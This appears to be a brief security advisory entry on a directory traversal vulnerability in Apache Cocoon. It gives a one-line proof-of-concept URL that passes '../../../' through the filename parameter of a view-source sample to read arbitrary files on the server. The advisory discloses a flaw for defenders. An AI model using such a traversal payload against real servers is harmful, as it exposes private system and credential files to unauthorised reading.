• info
• discussion
• exploit
• solution
• references

Apache Cocoon Directory Traversal Vulnerability

The following proof of concept has been provided:

http://www.example.com:8888/samples/view-source?filename=../../../[existing_file]